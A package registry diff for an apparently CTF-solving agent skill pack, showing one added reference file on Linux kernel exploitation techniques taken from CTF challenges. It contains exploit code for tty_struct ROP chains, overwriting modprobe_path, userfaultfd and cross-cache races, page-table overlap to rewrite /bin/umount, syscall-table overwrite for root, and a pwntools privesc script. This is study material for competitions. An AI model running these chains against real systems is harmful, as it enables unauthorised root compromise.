ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,366 @@
1
+ # CTF Pwn - Kernel Exploitation Techniques
2
+
3
+ ## Table of Contents
4
+ - [tty_struct RIP Hijack and kROP](#tty_struct-rip-hijack-and-krop)
5
+ - [kROP via Fake Vtable on tty_struct](#krop-via-fake-vtable-on-tty_struct)
6
+ - [AAW via ioctl Register Control](#aaw-via-ioctl-register-control)
7
+ - [userfaultfd Race Stabilization](#userfaultfd-race-stabilization)
8
+ - [Alternative Race Techniques (uffd Disabled)](#alternative-race-techniques-uffd-disabled)
9
+ - [SLUB Allocator Internals](#slub-allocator-internals)
10
+ - [Freelist Pointer Hardening](#freelist-pointer-hardening)
11
+ - [Freelist Obfuscation (CONFIG_SLAB_FREELIST_HARDEN)](#freelist-obfuscation-config_slab_freelist_harden)
12
+ - [Leak via Kernel Panic](#leak-via-kernel-panic)
13
+ - [Race Window Extension via MADV_DONTNEED + mprotect (DiceCTF 2026)](#race-window-extension-via-madv_dontneed--mprotect-dicectf-2026)
14
+ - [Cross-Cache Attack via CPU-Split Strategy (DiceCTF 2026)](#cross-cache-attack-via-cpu-split-strategy-dicectf-2026)
15
+ - [PTE Overlap Primitive for File Write (DiceCTF 2026)](#pte-overlap-primitive-for-file-write-dicectf-2026)
16
+ - [Kernel addr_limit Bypass via Failed File Open (Midnight Sun CTF 2018)](#kernel-addr_limit-bypass-via-failed-file-open-midnight-sun-ctf-2018)
17
+ - [Custom binfmt Loader OOB Read + clear_user for Privesc (CONFidence Teaser 2019)](#custom-binfmt-loader-oob-read--clear_user-for-privesc-confidence-teaser-2019)
18
+
19
+ For kernel fundamentals (environment setup, heap spray structures, stack overflow, privilege escalation, modprobe_path, core_pattern), see [kernel.md](kernel.md).
20
+
21
+ For protection bypass techniques (KASLR, FGKASLR, KPTI, SMEP, SMAP), GDB debugging, initramfs workflow, and exploit templates, see [kernel-bypass.md](kernel-bypass.md).
22
+
23
+ ---
24
+
25
+ ## tty_struct RIP Hijack and kROP
26
+
27
+ ### kROP via Fake Vtable on tty_struct
28
+
29
+ With sequential write over `tty_struct` (at least 0x200 bytes), build a two-phase kROP chain entirely within the structure:
30
+
31
+ ```text
32
+ tty_struct layout for kROP:
33
+ +0x00: magic, kref -> 0x5401 (preserve paranoia check)
34
+ +0x08: dev -> addr of `pop rsp` gadget (return addr after `leave`)
35
+ +0x10: driver -> &tty_struct + 0x170 (stack pivot target; must be valid kheap addr)
36
+ +0x18: ops -> &tty_struct + 0x50 (pointer to fake vtable)
37
+ ...
38
+ +0x50: -> fake vtable (0x120 bytes), ioctl entry points to `leave` gadget
39
+ ...
40
+ +0x170: -> actual ROP chain (commit_creds, prepare_kernel_cred, etc.)
41
+ ```
42
+
43
+ **Execution flow:**
44
+ 1. `ioctl(ptmx_fd, cmd, arg)` -> `tty_ioctl()` -> paranoia check passes (magic=0x5401)
45
+ 2. `tty->ops->ioctl()` -> jumps to `leave` gadget at fake vtable
46
+ 3. `leave` = `mov rsp, rbp; pop rbp` -- RBP points to `tty_struct` itself
47
+ 4. RSP now points to `tty_struct + 0x08` (the `dev` field)
48
+ 5. `ret` to `pop rsp` gadget at `dev`, pops `driver` as new RSP
49
+ 6. RSP now at `tty_struct + 0x170` -> actual ROP chain runs
50
+
51
+ **Key insight:** RBP points to `tty_struct` at the time of the vtable call. The `leave` instruction pivots the stack into the structure itself, enabling a two-phase bootstrap: first `leave` to enter the structure, then `pop rsp` to jump to the ROP chain area.
52
+
53
+ **Alternative:** The gadget `push rdx; ... pop rsp; ... ret` at a fixed offset in many kernels enables direct stack pivot via `ioctl`'s 3rd argument (RDX is fully controlled):
54
+
55
+ ```c
56
+ // ioctl(fd, cmd, arg) -> RDX = arg (64-bit controlled)
57
+ // Gadget: push rdx; mov ebp, imm; pop rsp; pop r13; pop rbp; ret
58
+ // Effect: RSP = arg -> ROP chain at user-specified address
59
+ ioctl(ptmx_fd, 0, (unsigned long)rop_chain_addr);
60
+ ```
61
+
62
+ ### AAW via ioctl Register Control
63
+
64
+ When full kROP is not needed, use `tty_struct` for Arbitrary Address Write (AAW) to overwrite `modprobe_path`:
65
+
66
+ Register control from `ioctl(fd, cmd, arg)`:
67
+ - `cmd` (32-bit) -> partial control of RBX, RCX, RSI
68
+ - `arg` (64-bit) -> full control of RDX, R8, R12
69
+
70
+ Write gadget in fake vtable: `mov DWORD PTR [rdx], esi; ret`
71
+
72
+ ```c
73
+ // Repeated ioctl calls write 4 bytes at a time to modprobe_path
74
+ for (int i = 0; i < 4; i++) {
75
+ uint32_t val = *(uint32_t*)("/tmp/evil.sh\0\0\0\0" + i*4);
76
+ ioctl(ptmx_fd, val, modprobe_path_addr + i*4);
77
+ }
78
+ ```
79
+
80
+ ---
81
+
82
+ ## userfaultfd Race Stabilization
83
+
84
+ `userfaultfd` (uffd) makes kernel race conditions deterministic by pausing execution at page faults.
85
+
86
+ **How it works:**
87
+ 1. `mmap()` a region with `MAP_PRIVATE` (no physical pages allocated)
88
+ 2. Register the region with `userfaultfd` via `ioctl(UFFDIO_REGISTER)`
89
+ 3. When the kernel accesses this region (e.g., during `copy_from_user()`), a page fault occurs
90
+ 4. The faulting kernel thread blocks until userspace handles the fault
91
+ 5. During the block, the exploit modifies shared state (freeing objects, spraying heap, etc.)
92
+ 6. Userspace resolves the fault via `ioctl(UFFDIO_COPY)`, kernel thread resumes
93
+
94
+ ```c
95
+ // Setup
96
+ int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
97
+ struct uffdio_api api = { .api = UFFD_API, .features = 0 };
98
+ ioctl(uffd, UFFDIO_API, &api);
99
+
100
+ // Register mmap'd region
101
+ void *region = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
102
+ MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
103
+ struct uffdio_register reg = {
104
+ .range = { .start = (unsigned long)region, .len = 0x1000 },
105
+ .mode = UFFDIO_REGISTER_MODE_MISSING
106
+ };
107
+ ioctl(uffd, UFFDIO_REGISTER, &reg);
108
+
109
+ // Fault handler thread
110
+ void *handler(void *arg) {
111
+ struct pollfd pfd = { .fd = uffd, .events = POLLIN };
112
+ while (poll(&pfd, 1, -1) > 0) {
113
+ struct uffd_msg msg;
114
+ read(uffd, &msg, sizeof(msg));
115
+ // >>> RACE WINDOW: kernel thread is paused <<<
116
+ // Free target object, spray heap, etc.
117
+
118
+ // Resolve fault to resume kernel
119
+ struct uffdio_copy copy = {
120
+ .dst = msg.arg.pagefault.address & ~0xFFF,
121
+ .src = (unsigned long)src_page,
122
+ .len = 0x1000
123
+ };
124
+ ioctl(uffd, UFFDIO_COPY, &copy);
125
+ }
126
+ }
127
+ ```
128
+
129
+ **Split object over two pages:** Place a kernel object so it spans a page boundary. The first page is normal; the second triggers uffd. The kernel processes the first half, then blocks on the second half -- the race window occurs mid-operation.
130
+
131
+ ### Alternative Race Techniques (uffd Disabled)
132
+
133
+ When `CONFIG_USERFAULTFD` is disabled or uffd is restricted to root:
134
+
135
+ 1. **Large `copy_from_user()` buffer:** Pass an enormous buffer to slow down the copy operation, widening the race window
136
+ 2. **CPU pinning + heavy syscalls:** Pin racing threads to the same core; use heavy kernel functions to extend the timing window
137
+ 3. **Repeated attempts:** Pure race without stabilization -- run exploit in a loop. Success rate varies (1% to 50% depending on timing)
138
+ 4. **TSC-based timing (Context Conservation):** Loop checking TSC (Time Stamp Counter) before entering the critical section to confirm execution is at the beginning of its CFS timeslice -- reduces scheduler preemption during the race
139
+
140
+ ---
141
+
142
+ ## SLUB Allocator Internals
143
+
144
+ ### Freelist Pointer Hardening
145
+
146
+ Since kernel 5.7+, free pointers in SLUB objects are placed in the **middle** of the object (word-aligned), not at offset 0:
147
+
148
+ ```c
149
+ // From mm/slub.c
150
+ if (freepointer_area > sizeof(void *)) {
151
+ s->offset = ALIGN(freepointer_area / 2, sizeof(void *));
152
+ }
153
+ ```
154
+
155
+ **Impact:** Simple buffer overflows from the start of a freed chunk cannot reach the free pointer. Underflows from adjacent chunks may still work.
156
+
157
+ ### Freelist Obfuscation (CONFIG_SLAB_FREELIST_HARDEN)
158
+
159
+ When enabled, free pointers are XOR-obfuscated with a per-cache random value:
160
+
161
+ ```text
162
+ stored_ptr = real_ptr ^ kmem_cache->random
163
+ ```
164
+
165
+ **Detection:** In GDB, find `kmem_cache_cpu` (via `$GS_BASE + kmem_cache.cpu_slab` offset), follow the `freelist` pointer, and check if the stored values look like valid kernel addresses. If not, obfuscation is active.
166
+
167
+ ---
168
+
169
+ ## Leak via Kernel Panic
170
+
171
+ When KASLR is disabled (or layout is known) and the kernel uses `initramfs`:
172
+
173
+ ```nasm
174
+ jmp &flag ; jump to the address of the flag file content in memory
175
+ ```
176
+
177
+ The kernel panics and the panic message includes the faulting instruction bytes in the `CODE` section -- these bytes are the flag content.
178
+
179
+ **Prerequisites:** No KASLR (or full layout knowledge), `initramfs` (flag is loaded into kernel memory), RIP control.
180
+
181
+ ---
182
+
183
+ ## Race Window Extension via MADV_DONTNEED + mprotect (DiceCTF 2026)
184
+
185
+ **Pattern (cornelslop):** Kernel module has a TOCTOU race between check and delete paths, but the window is too narrow to hit reliably. Extend the race window from milliseconds to dozens of seconds by forcing repeated page faults during the long-running kernel operation.
186
+
187
+ **Technique:**
188
+ 1. Map memory used by the kernel check operation (e.g., `sha256_va_range()` reading userland pages)
189
+ 2. From a second thread, loop `MADV_DONTNEED` (drops page table entries) + `mprotect()` (toggles permissions)
190
+ 3. Each fault during the kernel's hash computation forces VMA lock acquisition and page fault handling
191
+ 4. The kernel operation stalls repeatedly, keeping the race window open
192
+
193
+ ```c
194
+ // Thread 1: trigger the vulnerable CHECK ioctl (long-running hash)
195
+ ioctl(fd, CHECK_ENTRY, &entry);
196
+
197
+ // Thread 2: extend race window by forcing repeated faults
198
+ while (racing) {
199
+ madvise(buf, PAGE_SIZE, MADV_DONTNEED); // drop PTE
200
+ mprotect(buf, PAGE_SIZE, PROT_READ); // force fault on next access
201
+ mprotect(buf, PAGE_SIZE, PROT_READ | PROT_WRITE); // restore
202
+ }
203
+
204
+ // Thread 3: trigger the concurrent DEL ioctl
205
+ ioctl(fd, DEL_ENTRY, &entry); // races with CHECK path
206
+ ```
207
+
208
+ **Key insight:** `MADV_DONTNEED` drops page table entries without freeing the underlying pages. When the kernel next accesses that userland memory (e.g., during a hash computation), it faults and must re-establish the mapping. Combined with `mprotect()` toggling, this creates lock contention that extends any kernel operation touching userland pages from sub-millisecond to tens of seconds — turning impractical race conditions into reliable exploits.
209
+
210
+ ---
211
+
212
+ ## Cross-Cache Attack via CPU-Split Strategy (DiceCTF 2026)
213
+
214
+ **Pattern (cornelslop):** Vulnerable object is in a dedicated SLUB cache (not `kmalloc-*`), preventing standard same-cache reclaim after a double-free. Force pages out of the dedicated cache into the buddy allocator by splitting allocation and deallocation across CPUs.
215
+
216
+ **Technique:**
217
+ 1. **Allocate N objects on CPU 0** — fills slab pages on CPU 0's partial list
218
+ 2. **Free the same objects from CPU 1** — freed objects go to CPU 1's partial list (not CPU 0's)
219
+ 3. CPU 1's partial list overflows to the **node partial list**
220
+ 4. Completely empty slabs are released to the **PCP (per-CPU page) list**, then to the **buddy allocator**
221
+ 5. Reallocate those pages as a different object type (e.g., page tables)
222
+
223
+ ```c
224
+ // Pin allocation thread to CPU 0
225
+ cpu_set_t set;
226
+ CPU_ZERO(&set);
227
+ CPU_SET(0, &set);
228
+ sched_setaffinity(0, sizeof(set), &set);
229
+
230
+ // Allocate MAX_ENTRIES objects (fills ~3 slab pages)
231
+ for (int i = 0; i < MAX_ENTRIES; i++)
232
+ ioctl(fd, ALLOC_ENTRY, &entries[i]);
233
+
234
+ // Pin free thread to CPU 1
235
+ CPU_SET(1, &set);
236
+ sched_setaffinity(0, sizeof(set), &set);
237
+
238
+ // Free from different CPU — objects land on CPU 1's partial list
239
+ for (int i = 0; i < MAX_ENTRIES; i++)
240
+ ioctl(fd, FREE_ENTRY, &entries[i]);
241
+ // Empty slabs flow: CPU1 partial → node partial → PCP → buddy allocator
242
+ ```
243
+
244
+ **Key insight:** SLUB allocates and frees per-CPU. When an object is freed on a different CPU than where it was allocated, it enters a different partial list. When that list overflows, empty slabs are returned to the buddy allocator — escaping the dedicated cache entirely. This enables cross-cache attacks even against custom `kmem_cache_create()` caches that are immune to standard heap spray.
245
+
246
+ ---
247
+
248
+ ## PTE Overlap Primitive for File Write (DiceCTF 2026)
249
+
250
+ **Pattern (cornelslop):** After reclaiming a freed page as a PTE (page table entry) page, overlap an anonymous writable mapping and a read-only file mapping so both are backed by the same physical page via corrupted PTEs.
251
+
252
+ **Technique:**
253
+ 1. Trigger cross-cache double-free to get a page into the buddy allocator
254
+ 2. Allocate a new anonymous mapping — kernel uses the freed page as a PTE page
255
+ 3. Map a read-only file (e.g., `/bin/umount`) into the same PTE region
256
+ 4. The corrupted PTE page now has entries pointing to the file's physical pages
257
+ 5. Write through the anonymous (writable) mapping → modifies the file's pages directly
258
+ 6. Overwrite the file's shebang/header to execute an attacker-controlled script
259
+
260
+ ```c
261
+ // After cross-cache frees page into buddy allocator:
262
+
263
+ // 1. Anonymous mapping reclaims the page as PTE storage
264
+ char *anon = mmap(NULL, PAGE_SIZE * 512, PROT_READ | PROT_WRITE,
265
+ MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
266
+ // Touch pages to populate PTEs in the reclaimed page
267
+ for (int i = 0; i < 512; i++)
268
+ anon[i * PAGE_SIZE] = 'A';
269
+
270
+ // 2. File mapping into overlapping virtual range
271
+ int file_fd = open("/bin/umount", O_RDONLY);
272
+ char *file_map = mmap(target_addr, PAGE_SIZE, PROT_READ,
273
+ MAP_PRIVATE | MAP_FIXED, file_fd, 0);
274
+
275
+ // 3. Write through anonymous side corrupts file content
276
+ // Overwrite ELF header / shebang with #!/tmp/pwn
277
+ memcpy(anon + offset, "#!/tmp/pwn\n", 11);
278
+
279
+ // 4. Execute the corrupted binary → runs attacker script as root
280
+ system("/bin/umount /tmp 2>/dev/null");
281
+ ```
282
+
283
+ **Key insight:** PTE pages are just regular physical pages repurposed by the kernel's page table allocator. If a freed slab page is reclaimed as a PTE page, both the original (corrupted) slab entries and the new PTE entries coexist. By carefully overlapping anonymous and file-backed mappings in the same PTE page, writes to the anonymous mapping transparently modify file-backed pages — achieving arbitrary file write without any direct kernel write primitive. This bypasses all standard file permission checks since the write happens at the physical page level.
284
+
285
+ ---
286
+
287
+ ## Kernel addr_limit Bypass via Failed File Open (Midnight Sun CTF 2018)
288
+
289
+ **Pattern:** Kernel module calls `set_fs(KERNEL_DS)` to access userspace pointers, but if a subsequent file open fails, it returns without restoring the old `addr_limit`. Force the failure by making the target file a directory. Now user-space `read()` can access kernel memory.
290
+
291
+ **Exploitation strategy:**
292
+ 1. The kernel module has a debug function that sets `addr_limit = KERNEL_DS` to read a debug file
293
+ 2. If `filp_open()` fails (e.g., target is a directory, not a file), the error path returns early
294
+ 3. The error path does NOT restore `addr_limit` to its previous value (`USER_DS`)
295
+ 4. The calling process now has `addr_limit = KERNEL_DS` permanently
296
+ 5. Ordinary `read()`/`write()` syscalls can now access kernel memory addresses
297
+ 6. Use this to overwrite syscall table entries with `prepare_kernel_cred`/`commit_creds`
298
+
299
+ ```c
300
+ #include <sys/stat.h>
301
+ #include <unistd.h>
302
+ #include <fcntl.h>
303
+
304
+ #define DEBUG_FILE "/tmp/debug_log"
305
+ #define SYS_TABLE_ADDR 0xffffffff81801400 // from /proc/kallsyms
306
+
307
+ // Step 1: Make debug file a directory -> filp_open() fails with -EISDIR
308
+ mkdir(DEBUG_FILE, 0);
309
+
310
+ // Step 2: Trigger the kernel module's debug function
311
+ int fd = open("/dev/vuln_module", O_RDWR);
312
+ read(fd, &c, 1); // Triggers debug_msg(), leaves addr_limit = KERNEL_DS
313
+
314
+ // Step 3: Now read()/write() can access kernel memory
315
+ // Use pipe as a kernel-memory read/write primitive:
316
+ int pipefd[2];
317
+ pipe(pipefd);
318
+
319
+ // Write prepare_kernel_cred address to syscall 100
320
+ unsigned long pkc_addr = 0xffffffff810a9ef0; // prepare_kernel_cred
321
+ write(pipefd[1], &pkc_addr, sizeof(pkc_addr));
322
+ read(pipefd[0], (void*)((unsigned long*)SYS_TABLE_ADDR + 100), sizeof(unsigned long));
323
+
324
+ // Write commit_creds address to syscall 101
325
+ unsigned long cc_addr = 0xffffffff810a9d80; // commit_creds
326
+ write(pipefd[1], &cc_addr, sizeof(cc_addr));
327
+ read(pipefd[0], (void*)((unsigned long*)SYS_TABLE_ADDR + 101), sizeof(unsigned long));
328
+
329
+ // Step 4: Call the overwritten syscalls to get root
330
+ int creds = syscall(100, 0); // prepare_kernel_cred(0)
331
+ syscall(101, creds); // commit_creds(creds)
332
+ // Now running as root
333
+ system("/bin/sh");
334
+ ```
335
+
336
+ **Key insight:** When a kernel module sets `addr_limit` to `KERNEL_DS` for kernel pointer access but fails to restore it on error paths, userspace processes retain the elevated `addr_limit`. This turns ordinary `read()`/`write()` syscalls into kernel memory read/write primitives. Always audit kernel module error paths for missing `set_fs()` restoration -- triggering the error (e.g., making a file path point to a directory) is often trivial.
337
+
338
+ **References:** Midnight Sun CTF 2018
339
+
340
+ ---
341
+
342
+ ## Custom binfmt Loader OOB Read + clear_user for Privesc (CONFidence Teaser 2019)
343
+
344
+ **Pattern (p4fmt):** Kernel module `p4fmt.ko` registers a new `binfmt` handler for files starting with `"P4"`. The loader reads a user-controlled header: `{magic, version, arg, load_count, header_offset, entry}` followed by `load_count` `{addr, length, offset}` entries. Two missing checks make this a full privesc primitive: `header_offset` is used unvalidated as a pointer offset into `bprm->buf[]` (OOB read of the kernel-side `linux_binprm` struct, including `struct cred *cred`), and `loads[i].addr | 8` selects a branch that calls `_clear_user(addr, length)` with fully attacker-controlled arguments — an arbitrary zeroing primitive that runs *before* `install_exec_creds()` commits `bprm->cred`.
345
+
346
+ ```python
347
+ from pwn import *
348
+
349
+ # Stage 1: leak bprm->cred via OOB header_offset into the kernel-side linux_binprm buffer.
350
+ # load_count=5, header_offset=0x80-0x18 -> loads[] parsed from fields past bprm->buf.
351
+ leak = b'P4' + p8(0) + p8(1) + p32(5) + p64(0x80 - 0x18) + p64(0)
352
+ # Execute -> dmesg "vm_mmap(..., length=<cred_addr>, ...)" reveals the cred pointer.
353
+
354
+ # Stage 2: zero uid/gid/suid/sgid/euid/egid/fsuid/fsgid in bprm->cred via clear_user.
355
+ # arg=1 with load entries whose addr has bit 3 set -> kernel calls _clear_user(addr, length).
356
+ cred = 0xffff... # from leak
357
+ entries = p64(0x7000000 | 7) + p64(0x1000) + p64(0) # mmap RWX page for shellcode
358
+ entries += p64((cred + 0x10) | 8) + p64(0x48) + p64(0) # clear_user(cred->uid..fsgid)
359
+ binary = b'P4' + p8(0) + p8(1) + p32(2) + p64(0x18) + p64(0x7000090) + entries
360
+ binary = binary.ljust(0x7000090 & 0xfff, b'\x00') + asm(shellcraft.sh())
361
+ # exec -> install_exec_creds sees a cred with uid=0 -> root shell (drop_privileges bypass)
362
+ ```
363
+
364
+ **Key insight:** Custom `binfmt_misc`-style loaders are a fertile target because they parse attacker-supplied headers *before* `install_exec_creds` commits the per-exec credential struct. Any primitive that touches `bprm` in that window (OOB read to leak `bprm->cred`, arbitrary `_clear_user` to zero cred fields, `vm_mmap` with controlled flags/prot for kernel-aided RWX) composes into privesc without needing a traditional kernel memory-corruption chain. Always audit `load_*_binary` functions in custom modules for (a) bounds on header offsets and counts, (b) `access_ok`/range checks on `addr`/`length` arguments passed to `_clear_user`/`copy_to_user`, and (c) side-channel info leaks via `printk`.
365
+
366
+ **References:** CONFidence CTF 2019 Teaser — p4fmt, writeup 13992